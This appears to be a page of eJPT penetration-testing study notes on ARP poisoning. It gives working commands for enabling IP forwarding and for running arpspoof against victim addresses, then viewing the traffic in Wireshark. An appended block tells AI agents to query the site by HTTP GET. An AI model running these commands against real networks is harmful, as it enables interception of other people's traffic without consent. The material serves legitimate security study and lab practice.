# Arp Poisoning

### Introduction

It works by sending Gratious Arp Replies to the target machine which enables them to update their arp cache with fake information. Every 30s, an arp reply is sent to update the table.

***

### Dnsiff Arpspoof

1. Enable IP Forwarding

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

THen run arpspoof

```
arpspoof -i <interface> -t <target> -r <host>
```

Target and hosts are victim ip addresses . Finally, wireshark can be run to view the trafffic.

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.nomanaziz.me/cybersecurity/penetration-testing/elearnsecurity/ejpt/network-attacks/arp-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
